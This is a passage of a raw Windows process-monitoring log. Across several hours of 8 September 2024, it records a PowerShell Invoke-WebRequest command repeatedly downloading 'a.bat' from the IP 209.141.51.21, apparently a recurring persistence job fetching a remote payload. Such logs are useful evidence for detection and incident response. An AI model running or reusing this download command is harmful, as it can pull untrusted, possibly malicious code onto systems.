'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 12:19:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 12:21:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 12:24:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 12:26:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 12:29:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 12:31:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 12:34:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 12:36:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 12:39:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 12:41:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 12:44:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 12:46:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 12:49:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 12:51:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 12:54:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 12:56:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 12:59:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 13:01:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 13:04:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 13:06:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 13:09:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 13:11:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 13:14:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 13:16:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 13:19:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 13:21:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 13:24:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 13:26:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 13:29:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 13:31:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 13:34:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 13:36:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 13:39:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 13:41:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 13:44:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 13:46:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 13:49:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 13:51:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 13:54:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 13:56:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 13:59:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 14:01:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 14:04:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 14:06:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 14:09:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 14:11:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 14:14:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 14:16:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 14:19:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 14:21:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 14:24:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 14:26:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 14:29:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 14:31:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 14:34:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 14:36:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 14:39:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 14:41:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 14:44:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 14:46:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 14:49:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 14:51:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 14:54:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 14:56:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 14:59:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 15:01:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 15:04:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 15:06:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 15:09:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 15:11:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 15:14:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 15:16:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 15:19:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 15:21:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 15:24:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 15:26:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 15:29:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 15:31:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 15:34:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 15:36:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 15:39:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 15:41:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 15:44:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 15:46:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 15:49:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 15:51:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 15:54:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 15:56:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 15:59:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 16:01:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 16:04:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 16:06:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 16:09:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 16:11:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 16:14:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 16:16:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 16:19:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 16:21:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 16:24:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 16:26:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 16:29:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 16:31:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 16:34:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 16:36:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 16:39:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 16:41:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 16:44:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 16:46:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 16:49:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 16:51:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 16:54:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 16:56:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 16:59:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 17:01:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 17:04:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 17:06:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 17:09:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 17:11:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 17:14:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 17:17:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 17:19:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 17:22:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 17:24:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 17:27:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 17:29:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 17:32:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 17:34:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 17:37:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 17:39:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 17:42:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 17:44:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 17:47:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 17:49:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 17:52:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 17:54:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 